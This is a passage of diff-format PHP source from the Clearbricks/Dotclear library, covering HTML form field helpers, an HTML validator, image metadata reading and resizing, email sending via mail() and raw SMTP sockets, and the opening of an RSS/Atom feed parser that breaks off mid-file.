* @brief HTML Forms textarea creation helpers
*
* @package Clearbricks
* @subpackage html.form
*
* @since 1.2 First time this was introduced.
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class formTextarea extends formComponent
{
private const DEFAULT_ELEMENT = 'textarea';
/**
* Constructs a new instance.
*
* @param mixed $id The identifier
* @param string $value The value
*/
public function __construct($id = null, ?string $value = null)
{
parent::__construct(__CLASS__, self::DEFAULT_ELEMENT);
if ($id !== null) {
$this->setIdentifier($id);
}
if ($value !== null) {
$this->value = $value;
}
}
/**
* Renders the HTML component (including the associated label if any).
*
* @param null|string $extra The extra
*
* @return string
*/
public function render(?string $extra = null): string
{
if (!$this->checkMandatoryAttributes()) {
return '';
}
$buffer = '<' . ($this->getElement() ?? self::DEFAULT_ELEMENT) . ($extra ?? '') . $this->renderCommonAttributes(false) .
(isset($this->cols) ? ' cols="' . strval((int) $this->cols) . '"' : '') .
(isset($this->rows) ? ' rows="' . strval((int) $this->rows) . '"' : '') .
'>' .
($this->value ?? '') .
'</' . ($this->getElement() ?? self::DEFAULT_ELEMENT) . '>' . "\n";
if (isset($this->label) && isset($this->id)) {
$this->label->for = $this->id;
$buffer = $this->label->render($buffer);
}
return $buffer;
}
/**
* Gets the default element.
*
* @return string The default element.
*/
public function getDefaultElement(): string
{
return self::DEFAULT_ELEMENT;
}
}

View file

@ -0,0 +1,38 @@
<?php
declare(strict_types=1);
/**
* @class formTime
* @brief HTML Forms time field creation helpers
*
* @package Clearbricks
* @subpackage html.form
*
* @since 1.2 First time this was introduced.
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class formTime extends formInput
{
/**
* Constructs a new instance.
*
* @param mixed $id The identifier
* @param string $value The value
*/
public function __construct($id = null, ?string $value = null)
{
parent::__construct($id, 'time');
$this
->size(5)
->maxlength(5)
->pattern('[0-9]{2}:[0-9]{2}')
->placeholder('14:45');
if ($value !== null) {
$this->value($value);
}
}
}

View file

@ -0,0 +1,32 @@
<?php
declare(strict_types=1);
/**
* @class formUrl
* @brief HTML Forms url field creation helpers
*
* @package Clearbricks
* @subpackage html.form
*
* @since 1.2 First time this was introduced.
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class formUrl extends formInput
{
/**
* Constructs a new instance.
*
* @param mixed $id The identifier
* @param string $value The value
*/
public function __construct($id = null, ?string $value = null)
{
parent::__construct($id, 'url');
if ($value !== null) {
$this->value($value);
}
}
}

View file

@ -0,0 +1,161 @@
<?php
/**
* @class htmlValidator
* @brief HTML Validator
*
* This class will perform an HTML validation upon WDG validator.
*
* @package Clearbricks
* @subpackage HTML
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class htmlValidator extends netHttp
{
/**
* Validator host
*
* @var string
*/
protected $host = 'validator.w3.org';
/**
* Validator path
*
* @var string
*/
protected $path = '/nu/';
/**
* Use SSL
*
* @var bool
*/
protected $use_ssl = true;
/**
* User agent
*
* @var string
*/
protected $user_agent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.3a) Gecko/20021207';
/**
* Timeout (in seconds)
*
* @var int
*/
protected $timeout = 2;
/**
* Validation errors list (HTML)
*
* @var string
*/
protected $html_errors = '';
/**
* Constructor, no parameters.
*/
public function __construct()
{
parent::__construct($this->host, 443, $this->timeout);
}
/**
* HTML Document
*
* Returns an HTML document from a <var>$fragment</var>.
*
* @param string $fragment HTML content
*
* @return string
*/
public function getDocument(string $fragment): string
{
return
'<!DOCTYPE html>' . "\n" .
'<html>' . "\n" .
'<head>' . "\n" .
'<title>validation</title>' . "\n" .
'</head>' . "\n" .
'<body>' . "\n" .
$fragment . "\n" .
'</body>' . "\n" .
'</html>';
}
/**
* HTML validation
*
* Performs HTML validation of <var>$html</var>.
*
* @param string $html HTML document
* @param string $charset Document charset
*
* @return boolean
*/
public function perform(string $html, string $charset = 'UTF-8'): bool
{
$this->setMoreHeader('Content-Type: text/html; charset=' . strtolower($charset));
$this->post($this->path, $html);
if ($this->getStatus() !== 200) {
throw new Exception('Status code line invalid.');
}
$result = $this->getContent();
if (strpos($result, '<p class="success">The document validates according to the specified schema(s).</p>')) {
return true;
}
if (preg_match('#(<ol>.*</ol>)<p class="failure">There were errors.</p>#msU', $result, $matches)) {
$this->html_errors = strip_tags($matches[1], '<ol><li><p><code><strong>');
}
return false;
}
/**
* Validation Errors
*
* @return string HTML validation errors list
*/
public function getErrors(): string
{
return $this->html_errors;
}
/**
* Static HTML validation
*
* Static validation method of an HTML fragment. Returns an array with the
* following parameters:
*
* - valid (boolean)
* - errors (string)
*
* @param string $fragment HTML content
* @param string $charset Document charset
*
* @return array
*/
public static function validate(string $fragment, string $charset = 'UTF-8'): array
{
$instance = new self();
$fragment = $instance->getDocument($fragment);
if ($instance->perform($fragment, $charset)) {
return [
'valid' => true,
'errors' => null,
];
}
return [
'valid' => false,
'errors' => $instance->getErrors(),
];
}
}

View file

@ -0,0 +1,409 @@
<?php
/**
* @class imageMeta
* @brief Image metadata
*
* This class reads EXIF, IPTC and XMP metadata from a JPEG file.
*
* - Contributor: Mathieu Lecarme.
*
* @package Clearbricks
* @subpackage Images
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class imageMeta
{
/**
* Internal XMP array
*
* @var array
*/
protected $xmp = [];
/**
* Internal IPTC array
*
* @var array
*/
protected $iptc = [];
/**
* Internal EXIF array
*
* @var array
*/
protected $exif = [];
/**
* Read metadata
*
* Returns all image metadata in an array as defined in {@link $properties}.
*
* @param string $filename Image file path
*
* @return array
*/
public static function readMeta($filename)
{
$instance = new self();
$instance->loadFile($filename);
return $instance->getMeta();
}
/**
* Get metadata
*
* Returns all image metadata in an array as defined in {@link $properties}.
* Should call {@link loadFile()} before.
*
* @return array
*/
public function getMeta(): array
{
foreach (array_keys($this->properties) as $k) {
if (!empty($this->xmp[$k])) {
$this->properties[$k] = $this->xmp[$k];
} elseif (!empty($this->iptc[$k])) {
$this->properties[$k] = $this->iptc[$k];
} elseif (!empty($this->exif[$k])) {
$this->properties[$k] = $this->exif[$k];
}
}
# Fix date format
if ($this->properties['DateTimeOriginal'] !== null) {
$this->properties['DateTimeOriginal'] = preg_replace(
'/^(\d{4}):(\d{2}):(\d{2})/',
'$1-$2-$3',
$this->properties['DateTimeOriginal']
);
}
return $this->properties;
}
/**
* Load file
*
* Loads a file and read its metadata.
*
* @param string $filename Image file path
*/
public function loadFile($filename): void
{
if (!is_file($filename) || !is_readable($filename)) {
throw new Exception('Unable to read file');
}
$this->readXMP($filename);
$this->readIPTC($filename);
$this->readExif($filename);
}
/**
* Read XMP
*
* Reads XML metadata and assigns values to {@link $xmp}.
*
* @param string $filename Image file path
*/
protected function readXMP($filename)
{
if (($fp = @fopen($filename, 'rb')) === false) {
throw new Exception('Unable to open image file');
}
$inside = false;
$done = false;
$xmp = null;
while (!feof($fp)) {
$buffer = fgets($fp, 4096);
$xmp_start = strpos($buffer, '<x:xmpmeta');
if ($xmp_start !== false) {
$buffer = substr($buffer, $xmp_start);
$inside = true;
}
if ($inside) {
$xmp_end = strpos($buffer, '</x:xmpmeta>');
if ($xmp_end !== false) {
$buffer = substr($buffer, $xmp_end, 12);
$inside = false;
$done = true;
}
$xmp .= $buffer;
}
if ($done) {
break;
}
}
fclose($fp);
if (!$xmp) {
return;
}
foreach ($this->xmp_reg as $code => $patterns) {
foreach ($patterns as $p) {
if (preg_match($p, $xmp, $matches)) {
$this->xmp[$code] = $matches[1];
break;
}
}
}
if (preg_match('%<dc:subject>\s*<rdf:Bag>(.+?)</rdf:Bag%msu', $xmp, $rdf_bag)
&& preg_match_all('%<rdf:li>(.+?)</rdf:li>%msu', $rdf_bag[1], $rdf_bag_li)) {
$this->xmp['Keywords'] = implode(',', $rdf_bag_li[1]);
}
foreach ($this->xmp as $k => $v) {
$this->xmp[$k] = html::decodeEntities(text::toUTF8($v));
}
}
/**
* Read IPTC
*
* Reads IPTC metadata and assigns values to {@link $iptc}.
*
* @param string $filename Image file path
*/
protected function readIPTC($filename)
{
if (!function_exists('iptcparse')) {
return;
}
$imageinfo = null;
@getimagesize($filename, $imageinfo);
if (!is_array($imageinfo) || !isset($imageinfo['APP13'])) {
return;
}
$iptc = @iptcparse($imageinfo['APP13']);
if (!is_array($iptc)) {
return;
}
foreach ($this->iptc_ref as $k => $v) {
if (isset($iptc[$k]) && isset($this->iptc_to_property[$v])) {
$this->iptc[$this->iptc_to_property[$v]] = text::toUTF8(trim(implode(',', $iptc[$k])));
}
}
}
/**
* Read EXIF
*
* Reads EXIF metadata and assigns values to {@link $exif}.
*
* @param string $filename Image file path
*/
protected function readEXIF($filename)
{
if (!function_exists('exif_read_data')) {
return;
}
$data = @exif_read_data($filename, 'ANY_TAG');
if (!is_array($data)) {
return;
}
foreach ($this->exif_to_property as $k => $v) {
if (isset($data[$k])) {
if (is_array($data[$k])) {
foreach ($data[$k] as $kk => $vv) {
$this->exif[$v . '.' . $kk] = text::toUTF8($vv);
}
} else {
$this->exif[$v] = text::toUTF8($data[$k]);
}
}
}
}
/**
* array $properties Final properties array
*/
protected $properties = [
'Title' => null,
'Description' => null,
'Creator' => null,
'Rights' => null,
'Make' => null,
'Model' => null,
'Exposure' => null,
'FNumber' => null,
'MaxApertureValue' => null,
'ExposureProgram' => null,
'ISOSpeedRatings' => null,
'DateTimeOriginal' => null,
'ExposureBiasValue' => null,
'MeteringMode' => null,
'FocalLength' => null,
'Lens' => null,
'CountryCode' => null,
'Country' => null,
'State' => null,
'City' => null,
'Keywords' => null,
];
# XMP
protected $xmp_reg = [
'Title' => [
'%<dc:title>\s*<rdf:Alt>\s*<rdf:li.*?>(.+?)</rdf:li>%msu',
],
'Description' => [
'%<dc:description>\s*<rdf:Alt>\s*<rdf:li.*?>(.+?)</rdf:li>%msu',
],
'Creator' => [
'%<dc:creator>\s*<rdf:Seq>\s*<rdf:li>(.+?)</rdf:li>%msu',
],
'Rights' => [
'%<dc:rights>\s*<rdf:Alt>\s*<rdf:li.*?>(.+?)</rdf:li>%msu',
],
'Make' => [
'%<tiff:Make>(.+?)</tiff:Make>%msu',
'%tiff:Make="(.+?)"%msu',
],
'Model' => [
'%<tiff:Model>(.+?)</tiff:Model>%msu',
'%tiff:Model="(.+?)"%msu',
],
'Exposure' => [
'%<exif:ExposureTime>(.+?)</exif:ExposureTime>%msu',
'%exif:ExposureTime="(.+?)"%msu',
],
'FNumber' => [
'%<exif:FNumber>(.+?)</exif:FNumber>%msu',
'%exif:FNumber="(.+?)"%msu',
],
'MaxApertureValue' => [
'%<exif:MaxApertureValue>(.+?)</exif:MaxApertureValue>%msu',
'%exif:MaxApertureValue="(.+?)"%msu',
],
'ExposureProgram' => [
'%<exif:ExposureProgram>(.+?)</exif:ExposureProgram>%msu',
'%exif:ExposureProgram="(.+?)"%msu',
],
'ISOSpeedRatings' => [
'%<exif:ISOSpeedRatings>\s*<rdf:Seq>\s*<rdf:li>(.+?)</rdf:li>%msu',
],
'DateTimeOriginal' => [
'%<exif:DateTimeOriginal>(.+?)</exif:DateTimeOriginal>%msu',
'%exif:DateTimeOriginal="(.+?)"%msu',
],
'ExposureBiasValue' => [
'%<exif:ExposureBiasValue>(.+?)</exif:ExposureBiasValue>%msu',
'%exif:ExposureBiasValue="(.+?)"%msu',
],
'MeteringMode' => [
'%<exif:MeteringMode>(.+?)</exif:MeteringMode>%msu',
'%exif:MeteringMode="(.+?)"%msu',
],
'FocalLength' => [
'%<exif:FocalLength>(.+?)</exif:FocalLength>%msu',
'%exif:FocalLength="(.+?)"%msu',
],
'Lens' => [
'%<aux:Lens>(.+?)</aux:Lens>%msu',
'%aux:Lens="(.+?)"%msu',
],
'CountryCode' => [
'%<Iptc4xmpCore:CountryCode>(.+?)</Iptc4xmpCore:CountryCode>%msu',
'%Iptc4xmpCore:CountryCode="(.+?)"%msu',
],
'Country' => [
'%<photoshop:Country>(.+?)</photoshop:Country>%msu',
'%photoshop:Country="(.+?)"%msu',
],
'State' => [
'%<photoshop:State>(.+?)</photoshop:State>%msu',
'%photoshop:State="(.+?)"%msu',
],
'City' => [
'%<photoshop:City>(.+?)</photoshop:City>%msu',
'%photoshop:City="(.+?)"%msu',
],
];
# IPTC
protected $iptc_ref = [
'1#090' => 'Iptc.Envelope.CharacterSet', // Character Set used (32 chars max)
'2#005' => 'Iptc.ObjectName', // Title (64 chars max)
'2#015' => 'Iptc.Category', // (3 chars max)
'2#020' => 'Iptc.Supplementals', // Supplementals categories (32 chars max)
'2#025' => 'Iptc.Keywords', // (64 chars max)
'2#040' => 'Iptc.SpecialsInstructions', // (256 chars max)
'2#055' => 'Iptc.DateCreated', // YYYYMMDD (8 num chars max)
'2#060' => 'Iptc.TimeCreated', // HHMMSS+/-HHMM (11 chars max)
'2#062' => 'Iptc.DigitalCreationDate', // YYYYMMDD (8 num chars max)
'2#063' => 'Iptc.DigitalCreationTime', // HHMMSS+/-HHMM (11 chars max)
'2#080' => 'Iptc.ByLine', // Author (32 chars max)
'2#085' => 'Iptc.ByLineTitle', // Author position (32 chars max)
'2#090' => 'Iptc.City', // (32 chars max)
'2#092' => 'Iptc.Sublocation', // (32 chars max)
'2#095' => 'Iptc.ProvinceState', // (32 chars max)
'2#100' => 'Iptc.CountryCode', // (32 alpha chars max)
'2#101' => 'Iptc.CountryName', // (64 chars max)
'2#105' => 'Iptc.Headline', // (256 chars max)
'2#110' => 'Iptc.Credits', // (32 chars max)
'2#115' => 'Iptc.Source', // (32 chars max)
'2#116' => 'Iptc.Copyright', // Copyright Notice (128 chars max)
'2#118' => 'Iptc.Contact', // (128 chars max)
'2#120' => 'Iptc.Caption', // Caption/Abstract (2000 chars max)
'2#122' => 'Iptc.CaptionWriter', // Caption Writer/Editor (32 chars max)
];
protected $iptc_to_property = [
'Iptc.ObjectName' => 'Title',
'Iptc.Caption' => 'Description',
'Iptc.ByLine' => 'Creator',
'Iptc.Copyright' => 'Rights',
'Iptc.CountryCode' => 'CountryCode',
'Iptc.CountryName' => 'Country',
'Iptc.ProvinceState' => 'State',
'Iptc.City' => 'City',
'Iptc.Keywords' => 'Keywords',
];
# EXIF
protected $exif_to_property = [
//'' => 'Title',
'ImageDescription' => 'Description',
'Artist' => 'Creator',
'Copyright' => 'Rights',
'Make' => 'Make',
'Model' => 'Model',
'ExposureTime' => 'Exposure',
'FNumber' => 'FNumber',
'MaxApertureValue' => 'MaxApertureValue',
'ExposureProgram' => 'ExposureProgram',
'ISOSpeedRatings' => 'ISOSpeedRatings',
'DateTimeOriginal' => 'DateTimeOriginal',
'ExposureBiasValue' => 'ExposureBiasValue',
'MeteringMode' => 'MeteringMode',
'FocalLength' => 'FocalLength',
//'' => 'Lens',
//'' => 'CountryCode',
//'' => 'Country',
//'' => 'State',
//'' => 'City',
//'' => 'Keywords'
];
}

View file

@ -0,0 +1,385 @@
<?php
/**
* @class imageTools
* @brief Image manipulations
*
* Class to manipulate images. Some methods are based on https://dev.media-box.net/big/
*
* @package Clearbricks
* @subpackage Images
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class imageTools
{
/**
* Image resource
*
* @var mixed resource|GdImage|null|false
*/
public $res;
/**
* Memory limit
*
* @var mixed float|null|false
*/
public $memory_limit = null;
/**
* Constructor, no parameters.
*/
public function __construct()
{
if (!function_exists('imagegd2')) {
throw new Exception('GD is not installed');
}
$this->res = null;
}
/**
* Close
*
* Destroy image resource
*/
public function close(): void
{
if (!empty($this->res)) {
imagedestroy($this->res);
}
if ($this->memory_limit) {
ini_set('memory_limit', $this->memory_limit);
}
}
/**
* Load image
*
* Loads an image content in memory and set {@link $res} property.
*
* @param string $filename Image file path
*/
public function loadImage(string $filename): void
{
if (!file_exists($filename)) {
throw new Exception('Image doest not exists');
}
if (($info = @getimagesize($filename)) !== false) {
$this->memoryAllocate(
$info[0],
$info[1],
$info['channels'] ?? 4
);
switch ($info[2]) {
case 3: // IMAGETYPE_PNG:
$this->res = @imagecreatefrompng($filename);
if (!empty($this->res)) {
@imagealphablending($this->res, false);
@imagesavealpha($this->res, true);
}
break;
case 2: // IMAGETYPE_JPEG:
$this->res = @imagecreatefromjpeg($filename);
break;
case 1: // IMAGETYPE_GIF:
$this->res = @imagecreatefromgif($filename);
break;
case 18: // IMAGETYPE_WEBP:
if (function_exists('imagecreatefromwebp')) {
$this->res = @imagecreatefromwebp($filename);
if (!empty($this->res)) {
@imagealphablending($this->res, false);
@imagesavealpha($this->res, true);
}
} else {
throw new Exception('WebP image format not supported');
}
break;
case 19: // IMAGETYPE_AVIF:
if (function_exists('imagecreatefromavif')) {
// PHP 8.1+
$this->res = @imagecreatefromavif($filename);
if (!empty($this->res)) {
@imagealphablending($this->res, false);
@imagesavealpha($this->res, true);
}
} else {
throw new Exception('AVIF image format not supported');
}
break;
}
}
if (empty($this->res)) {
throw new Exception('Unable to load image');
}
}
/**
* Image width
*
* @return int Image width
*/
public function getW(): int
{
return imagesx($this->res);
}
/**
* Image height
*
* @return int Image height
*/
public function getH(): int
{
return imagesy($this->res);
}
/**
* Allocate memory
*
* @param int $width The width
* @param int $height The height
* @param int $bpp The bits per pixel
*
* @throws Exception
*/
public function memoryAllocate(int $width, int $height, int $bpp = 4)
{
$mem_used = function_exists('memory_get_usage') ? @memory_get_usage() : 4000000;
$mem_limit = @ini_get('memory_limit');
if ($mem_limit && trim((string) $mem_limit) === '-1' || !files::str2bytes($mem_limit)) {
// Cope with memory_limit set to -1 in PHP.ini
return;
}
if ($mem_used && $mem_limit) {
$mem_limit = files::str2bytes($mem_limit);
$mem_avail = $mem_limit - $mem_used - (512 * 1024);
$mem_needed = $width * $height * $bpp;
if ($mem_needed > $mem_avail) {
if (@ini_set('memory_limit', (string) ($mem_limit + $mem_needed + $mem_used)) === false) {
throw new Exception(__('Not enough memory to open image.'));
}
if (!$this->memory_limit) {
$this->memory_limit = $mem_limit;
}
}
}
}
/**
* Image output
*
* Returns image content in a file or as HTML output (with headers)
*
* @param string $type Image type (png, jpg, webp or avif)
* @param string|null $file Output file. If null, output will be echoed in STDOUT
* @param int $qual JPEG image quality
*
* @return mixed
*/
public function output(string $type = 'png', ?string $file = null, int $qual = 90)
{
if (!$file) {
header('Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0');
header('Pragma: no-cache');
switch (strtolower($type)) {
case 'png':
header('Content-type: image/png');
imagepng($this->res);
return true;
case 'jpeg':
case 'jpg':
header('Content-type: image/jpeg');
imagejpeg($this->res, null, $qual);
return true;
case 'wepb':
if (function_exists('imagewebp')) {
header('Content-type: image/webp');
imagewebp($this->res, null, $qual);
return true;
}
return false;
case 'avif':
if (function_exists('imageavif')) {
// PHP 8.1+
header('Content-type: image/avif');
imageavif($this->res, null, $qual);
return true;
}
return false;
default:
return false;
}
} elseif (is_writable(dirname($file))) {
switch (strtolower($type)) {
case 'png':
return imagepng($this->res, $file);
case 'jpeg':
case 'jpg':
return imagejpeg($this->res, $file, $qual);
case 'webp':
if (function_exists('imagewebp')) {
return imagewebp($this->res, $file, $qual);
}
return false;
case 'avif':
if (function_exists('imageavif')) {
return imageavif($this->res, $file, $qual);
}
return false;
default:
return false;
}
}
return false;
}
/**
* Resize image
*
* @param mixed $width Image width (px or percent)
* @param mixed $height Image height (px or percent)
* @param string $mode Crop mode (force, crop, ratio)
* @param boolean $expand Allow resize of image
*
* @return true
*/
public function resize($width, $height, string $mode = 'ratio', bool $expand = false)
{
$computed_height = 0;
$computed_width = 0;
$imgage_width = $this->getW();
$imgage_height = $this->getH();
if (strpos((string) $width, '%', 0)) {
$width = $imgage_width * $width / 100;
}
if (strpos((string) $height, '%', 0)) {
$height = $imgage_height * $height / 100;
}
$ratio = $imgage_width / $imgage_height;
// Guess resize
if ($mode === 'ratio') {
$computed_width = 99999;
if ($height > 0) {
$computed_height = $height;
$computed_width = $computed_height * $ratio;
}
if ($width > 0 && $computed_width > $width) {
$computed_width = $width;
$computed_height = $computed_width / $ratio;
}
if (!$expand && $computed_width > $imgage_width) {
$computed_width = $imgage_width;
$computed_height = $imgage_height;
}
} else {
// Crop source image
$computed_width = $width;
$computed_height = $height;
}
if ($mode === 'force') {
if ($width > 0) {
$computed_width = $width;
} else {
$computed_width = $height * $ratio;
}
if ($height > 0) {
$computed_height = $height;
} else {
$computed_height = $width / $ratio;
}
if (!$expand && $computed_width > $imgage_width) {
$computed_width = $imgage_width;
$computed_height = $imgage_height;
}
$crop_width = $imgage_width;
$crop_height = $imgage_height;
$offset_width = 0;
$offset_height = 0;
} else {
// Guess real viewport of image
$innerRatio = $computed_width / $computed_height;
if ($ratio >= $innerRatio) {
$crop_height = $imgage_height;
$crop_width = $imgage_height * $innerRatio;
$offset_height = 0;
$offset_width = ($imgage_width - $crop_width) / 2;
} else {
$crop_width = $imgage_width;
$crop_height = $imgage_width / $innerRatio;
$offset_width = 0;
$offset_height = ($imgage_height - $crop_height) / 2;
}
}
if ($computed_width < 1) {
$computed_width = 1;
}
if ($computed_height < 1) {
$computed_height = 1;
}
// convert float to int
settype($offset_width, 'int');
settype($offset_height, 'int');
settype($computed_width, 'int');
settype($computed_height, 'int');
settype($crop_width, 'int');
settype($crop_height, 'int');
// truecolor is 24 bit RGB, ie. 3 bytes per pixel.
$this->memoryAllocate($computed_width, $computed_height, 3);
$dest = imagecreatetruecolor($computed_width, $computed_height);
// Fill image with neutral gray (#808080)
imagefill($dest, 0, 0, imagecolorallocate($dest, 128, 128, 128));
// Disable blending mode
@imagealphablending($dest, false);
// Preserve alpha channel of image
@imagesavealpha($dest, true);
// Copy and resize (with resampling) from source to destination
imagecopyresampled($dest, $this->res, 0, 0, $offset_width, $offset_height, $computed_width, $computed_height, $crop_width, $crop_height);
imagedestroy($this->res);
$this->res = $dest;
return true;
}
}

View file

@ -0,0 +1,94 @@
<?php
/**
* @class mail
* @brief Email utilities
*
* @package Clearbricks
* @subpackage Mail
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class mail
{
/**
* Send email
*
* Sends email to destination. If a function called _mail() exists it will
* be used instead of PHP mail() function. _mail() function should have the
* same signature. Headers could be provided as a string or an array.
*
* @param string $to Email destination
* @param string $subject Email subject
* @param string $message Email message
* @param string|array $headers Email headers
* @param string $params UNIX mail additionnal parameters
*
* @return boolean true on success
*/
public static function sendMail(string $to, string $subject, string $message, $headers = null, ?string $params = null): bool
{
/**
* User defined mail function
*
* @var callable $user_defined_mail
*/
$user_defined_mail = function_exists('_mail') ? '_mail' : null;
$eol = trim((string) ini_get('sendmail_path')) ? "\n" : "\r\n";
if (is_array($headers)) {
$headers = implode($eol, $headers);
}
if ($user_defined_mail == null) {
if (!@mail($to, $subject, $message, $headers, $params)) {
throw new Exception('Unable to send email');
}
} else {
$user_defined_mail($to, $subject, $message, $headers, $params);
}
return true;
}
/**
* Get Host MX
*
* Returns MX records sorted by weight for a given host.
*
* @param string $host Hostname
*
* @return array|false
*/
public static function getMX(string $host)
{
if (!getmxrr($host, $mx_hosts, $mx_weights) || count($mx_hosts)) {
return false;
}
$res = array_combine($mx_hosts, $mx_weights);
asort($res);
return $res;
}
/**
* B64 header
*
* Encodes given string as a base64 mail header.
*
* @param string $str String to encode
* @param string $charset Charset (default UTF-8)
*
* @return string
*/
public static function B64Header(string $str, string $charset = 'UTF-8'): string
{
if (!preg_match('/[^\x00-\x3C\x3E-\x7E]/', $str)) {
return $str;
}
return '=?' . $charset . '?B?' . base64_encode($str) . '?=';
}
}

View file

@ -0,0 +1,237 @@
<?php
/**
* @class socketMail
* @brief Send email through socket
*
* @package Clearbricks
* @subpackage Mail
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class socketMail
{
/**
* Socket handle
*
* @var resource|null|false
*/
public static $fp;
/**
* Connection timeout (in seconds)
*
* @var int
*/
public static $timeout = 10;
/**
* SMTP Relay to user
*
* @var string
*/
public static $smtp_relay = null;
/**
* Send email through socket
*
* This static method sends an email through a simple socket connection.
* If {@link $smtp_relay} is set, it will be used as a relay to send the
* email. Instead, email is sent directly to MX host of domain.
*
* @param string $to Email destination
* @param string $subject Email subject
* @param string $message Email message
* @param string|array $headers Email headers
*
* @throws Exception
*/
public static function mail(string $to, string $subject, string $message, $headers = null): void
{
if (!is_null($headers) && !is_array($headers)) {
$headers = [$headers];
}
$from = self::getFrom($headers);
$from_host = explode('@', $from);
$from_host = $from_host[1];
$to_host = explode('@', $to);
$to_host = $to_host[1];
if (self::$smtp_relay != null) {
$mx = [gethostbyname(self::$smtp_relay) => 1];
} else {
$mx = mail::getMX($to_host);
}
foreach (array_keys($mx) as $mx_host) {
self::$fp = @fsockopen($mx_host, 25, $errno, $errstr, self::$timeout);
if (self::$fp !== false) {
break;
}
}
if (!is_resource(self::$fp)) {
self::$fp = null;
throw new Exception('Unable to open socket');
}
# We need to read the first line
fgets(self::$fp);
$data = '';
# HELO cmd
if (!self::cmd('HELO ' . $from_host, $data)) {
self::quit();
throw new Exception($data);
}
# MAIL FROM: <...>
if (!self::cmd('MAIL FROM: <' . $from . '>', $data)) {
self::quit();
throw new Exception($data);
}
# RCPT TO: <...>
if (!self::cmd('RCPT TO: <' . $to . '>', $data)) {
self::quit();
throw new Exception($data);
}
# Compose mail and send it with DATA
$buffer = 'Return-Path: <' . $from . ">\r\n" .
'To: <' . $to . ">\r\n" .
'Subject: ' . $subject . "\r\n";
foreach ($headers as $header) {
$buffer .= $header . "\r\n";
}
$buffer .= "\r\n\r\n" . $message;
if (!self::sendMessage($buffer, $data)) {
self::quit();
throw new Exception($data);
}
self::quit();
}
/**
* Gets the from.
*
* @param array $headers The headers
*
* @throws Exception
*
* @return string The from.
*/
private static function getFrom(?array $headers): string
{
if (!is_null($headers)) {
// Try to find a from:… in header(s)
foreach ($headers as $header) {
$from = '';
if (preg_match('/^from: (.+?)$/msi', $header, $m)) {
$from = trim((string) $m[1]);
}
if (preg_match('/(?:<)(.+?)(?:$|>)/si', $from, $m)) {
$from = trim((string) $m[1]);
} elseif (preg_match('/^(.+?)\(/si', $from, $m)) {
$from = trim((string) $m[1]);
} elseif (!text::isEmail($from)) {
$from = '';
}
if ($from !== '') {
return $from;
}
}
}
// Is a from set in configuration options ?
$from = trim((string) ini_get('sendmail_from'));
if ($from !== '') {
return $from;
}
throw new Exception('No valid from e-mail address');
}
/**
* Send SMTP command
*
* @param string $out The out
* @param string $data The received data
*
* @return bool
*/
private static function cmd(string $out, string &$data = ''): bool
{
fwrite(self::$fp, $out . "\r\n");
$data = self::data();
if (substr($data, 0, 3) != '250') {
return false;
}
return true;
}
/**
* Get data from opened stream
*
* @return string
*/
private static function data(): string
{
$buffer = '';
stream_set_timeout(self::$fp, 2);
for ($i = 0; $i < 2; $i++) {
$buffer .= fgets(self::$fp, 1024);
}
return $buffer;
}
/**
* Sends a message body.
*
* @param string $msg The message
* @param string $data The data
*
* @return bool
*/
private static function sendMessage(string $msg, string &$data): bool
{
$msg .= "\r\n.";
self::cmd('DATA', $data);
if (substr($data, 0, 3) != '354') {
return false;
}
return self::cmd($msg, $data);
}
/**
* Send QUIT command and close socket handle
*/
private static function quit(): void
{
self::cmd('QUIT');
fclose(self::$fp);
self::$fp = null;
}
}

View file

@ -0,0 +1,315 @@
<?php
/**
* @class feedParser
* @brief Feed parser
*
* This class can read RSS 1.0, RSS 2.0, Atom 0.3 and Atom 1.0 feeds. Works with
* {@link feedReader}
*
* @package Clearbricks
* @subpackage Feeds
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class feedParser
{
/**
* Feed type
*
* @var string
*/
public $feed_type;
/**
* Feed title
*
* @var string
*/
public $title;
/**
* Feed link
*
* @var string
*/
public $link;
/**
* Feed description
*
* @var string
*/
public $description;
/**
* Feed publication date
*
* @var string
*/
public $pubdate;
/**
* Feed generator
*
* @var string
*/
public $generator;
/**
* Feed items
*
* @var array
*/
public $items = [];
/**
* Feed XML content
*
* @var SimpleXMLElement|false
*/
protected $xml;
/**
* Constructor.
*
* Takes some <var>$data</var> as input. Returns false if data is
* not a valid XML stream. If everything's fine, feed is parsed and items
* are in {@link $items} property.
*
* @param string $data XML stream
*/
public function __construct(string $data)
{
$this->xml = @simplexml_load_string($data);
if (!$this->xml) {
return;
}
if (preg_match('/<rdf:RDF/', (string) $data)) {
$this->parseRSSRDF();
} elseif (preg_match('/<rss/', (string) $data)) {
$this->parseRSS();
} elseif (preg_match('!www.w3.org/2005/Atom!', (string) $data)) {
$this->parseAtom10();
} else {
$this->parseAtom03();
}
unset($data, $this->xml);
}
/**
* RSS 1.0 parser.
*/
protected function parseRSSRDF(): void
{
$this->feed_type = 'rss 1.0 (rdf)';
$this->title = (string) $this->xml->channel->title;
$this->link = (string) $this->xml->channel->link;
$this->description = (string) $this->xml->channel->description;
$this->pubdate = (string) $this->xml->channel->children('http://purl.org/dc/elements/1.1/')->date;
# Feed generator agent
$generator = $this->xml->channel->children('http://webns.net/mvcb/')->generatorAgent;
if ($generator) {
$generator = $generator->attributes('http://www.w3.org/1999/02/22-rdf-syntax-ns#');
$this->generator = (string) $generator['resource'];
}
if (empty($this->xml->item)) {
return;
}
foreach ($this->xml->item as $i) {
$item = new stdClass();
$item->title = (string) $i->title;
$item->link = (string) $i->link;
$item->creator = (string) $i->children('http://purl.org/dc/elements/1.1/')->creator;
$item->description = (string) $i->description;
$item->content = (string) $i->children('http://purl.org/rss/1.0/modules/content/')->encoded;
$item->subject = $this->nodes2array($i->children('http://purl.org/dc/elements/1.1/')->subject);
$item->pubdate = (string) $i->children('http://purl.org/dc/elements/1.1/')->date;
